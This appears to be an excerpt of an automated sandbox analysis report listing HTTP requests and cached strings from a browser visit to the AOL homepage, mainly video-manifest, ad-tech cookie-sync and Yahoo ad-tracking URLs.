Source: global traffic	HTTP traffic detected: GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfMzNhYWI2NTQ0M2EyZjQ2MzY3N2FiYTM2N2MzNzY0NGNmNjFhOWZkMjZjYjM3OTczYTVjODYzZDVmMWE2NDkzMg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1Host: manifest.prod.boltdns.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?nid=114&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&time=1716503699269&event=video_impression&video=6353510307112&video_name=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&reference_id=42b897a6-9771-3329-b351-69a701a77438&custom_fields=&video_data=&video_ads_supported=true&&video_duration=68&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w&qos.content.sourceMimeType=application%2Fvnd.apple.mpegurl&seq=5_0&web_ad_info=%7B%22plugin%22%3A%22ima3%22%2C%22pluginVersion%22%3A%225.4.2%22%2C%22requestMode%22%3A%22onload%22%2C%22timeout%22%3A10000%7D&preload=metadata HTTP/1.1Host: metrics.brightcove.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: simage4.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTBCOOKIE_391=22924-8785666810998501200&KRTB&23263-8785666810998501200&KRTB&23481-8785666810998501200; KRTBCOOKIE_18=22947-5134455425174035855; PugT=1716503706
Source: global traffic	HTTP traffic detected: GET /cookie-sync/pm?gdpr=0&gdpr_consent= HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC="19cw~2ila:19e0~2ila:18z8~2ila:19ea~2ila"
Source: global traffic	HTTP traffic detected: GET /sync?ssp=medianet&ssp_user_id=3595052986404735000V10 HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync?b=zem&i=Ldu6nP-f8GRn9WiN8PL4&gdpr=0&us_privacy=1YNN HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /pm_match?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=C3E3B1BC7A434D6BB70BF025F9AF69E8

Source: chromecache_250.2.dr	String found in binary or memory: <Error><![CDATA[https://bats.video.yahoo.com/p?evt=ad_dlvf&_E=ad_dlvf&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=1&crid=null&v_cr_id=null&adid=null&plcid=us_aol_hp_dt_video&adseq=1&f_call=pbs.yahoo.com&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=1&mtype=null&ntwk=Prebid+Yahoo+-+Desktop+-+EV+Player&pos=preroll&rule=61d4e315-4afe-42a4-9fe4-c568d6e71873&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video+Prebid&tbId=kDuKcatcHKsZfxHT&r_type=1&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=01kdqc5j4vh4l;61d4e315-4afe-42a4&tmout=3000&adl=151&ad_lng=null&tbver=1.0.0.1716318398&adfmt=null&hbr=null&lscp=null&cimp=null&tbckt=prod&pl_bckt=prod&omid=null&tp=hb_source%3Ds2s%26hb_cache_region%3Deuwe1%26hb_bidder_seatid%3DDefaultBidder-1]]></Error> equals www.yahoo.com (Yahoo)
Source: chromecache_497.2.dr	String found in binary or memory: <Error><![CDATA[https://bats.video.yahoo.com/p?evt=ad_dlvf&_E=ad_dlvf&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=1&crid=null&v_cr_id=null&adid=null&plcid=us_aol_hp_dt_video&adseq=1&f_call=pbs.yahoo.com&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=1&mtype=null&ntwk=Prebid+Yahoo+-+Desktop+-+EV+Player&pos=preroll&rule=61d4e315-4afe-42a4-9fe4-c568d6e71873&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video+Prebid&tbId=mpxvwdbvWgncTiGX&r_type=1&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=7m72f4pj4vh4u;61d4e315-4afe-42a4&tmout=3000&adl=247&ad_lng=null&tbver=1.0.0.1716318398&adfmt=null&hbr=null&lscp=null&cimp=null&tbckt=prod&pl_bckt=prod&omid=null&tp=hb_source%3Ds2s%26hb_cache_region%3Deuwe1%26hb_bidder_seatid%3DDefaultBidder-1]]></Error> equals www.yahoo.com (Yahoo)
Source: chromecache_250.2.dr	String found in binary or memory: <Error><![CDATA[https://bats.video.yahoo.com/p?evt=ad_init&_E=ad_init&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=kDuKcatcHKsZfxHT&r_type=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=01kdqc5j4vh4l;ad0a741c-5933-43b4&tmout=3000&adl=0&ad_lng=null&tbver=1.0.0.1716318398&adfmt=null&hbr=null&lscp=null&cimp=null&tbckt=prod&pl_bckt=prod&omid=null&medT=[ERRORCODE]]]></Error> equals www.yahoo.com (Yahoo)
Source: chromecache_497.2.dr	String found in binary or memory: <Error><![CDATA[https://bats.video.yahoo.com/p?evt=ad_init&_E=ad_init&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=mpxvwdbvWgncTiGX&r_type=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=7m72f4pj4vh4u;ad0a741c-5933-43b4&tmout=3000&adl=0&ad_lng=null&tbver=1.0.0.1716318398&adfmt=null&hbr=null&lscp=null&cimp=null&tbckt=prod&pl_bckt=prod&omid=null&medT=[ERRORCODE]]]></Error> equals www.yahoo.com (Yahoo)
Source: chromecache_250.2.dr	String found in binary or memory: <Error><![CDATA[https://bats.video.yahoo.com/p?evt=ad_oppty&_E=ad_oppty&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=kDuKcatcHKsZfxHT&r_type=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=01kdqc5j4vh4l;ad0a741c-5933-43b4&tmout=3000&adl=0&ad_lng=null&tbver=1.0.0.1716318398&adfmt=null&hbr=null&lscp=null&cimp=null&tbckt=prod&pl_bckt=prod&omid=null]]></Error> equals www.yahoo.com (Yahoo)
Source: chromecache_497.2.dr	String found in binary or memory: <Error><![CDATA[https://bats.video.yahoo.com/p?evt=ad_oppty&_E=ad_oppty&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=mpxvwdbvWgncTiGX&r_type=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=7m72f4pj4vh4u;ad0a741c-5933-43b4&tmout=3000&adl=0&ad_lng=null&tbver=1.0.0.1716318398&adfmt=null&hbr=null&lscp=null&cimp=null&tbckt=prod&pl_bckt=prod&omid=null]]></Error> equals www.yahoo.com (Yahoo)
Source: chromecache_250.2.dr	String found in binary or memory: <Error><![CDATA[https://bats.video.yahoo.com/p?evt=tb_err&_E=tb_err&_V=test&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=kDuKcatcHKsZfxHT&r_type=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=01kdqc5j4vh4l;ad0a741c-5933-43b4&tmout=3000&adl=0&ad_lng=null&tbver=1.0.0.1716318398&adfmt=null&hbr=null&lscp=null&cimp=null&tbckt=prod&pl_bckt=prod&omid=null&a_dlv_err=[ERRORCODE]]]></Error> equals www.yahoo.com (Yahoo)
Source: chromecache_497.2.dr	String found in binary or memory: <Error><![CDATA[https://bats.video.yahoo.com/p?evt=tb_err&_E=tb_err&_V=test&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=mpxvwdbvWgncTiGX&r_type=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=7m72f4pj4vh4u;ad0a741c-5933-43b4&tmout=3000&adl=0&ad_lng=null&tbver=1.0.0.1716318398&adfmt=null&hbr=null&lscp=null&cimp=null&tbckt=prod&pl_bckt=prod&omid=null&a_dlv_err=[ERRORCODE]]]></Error> equals www.yahoo.com (Yahoo)
Source: chromecache_250.2.dr	String found in binary or memory: <Impression><![CDATA[https://bats.video.yahoo.com/p?evt=ad_beg&_E=ad_beg&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=kDuKcatcHKsZfxHT&r_type=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=01kdqc5j4vh4l;ad0a741c-5933-43b4&tmout=3000&adl=0&ad_lng=null&tbver=1.0.0.1716318398&adfmt=null&hbr=null&lscp=null&cimp=null&tbckt=prod&pl_bckt=prod&omid=null]]></Impression> equals www.yahoo.com (Yahoo)
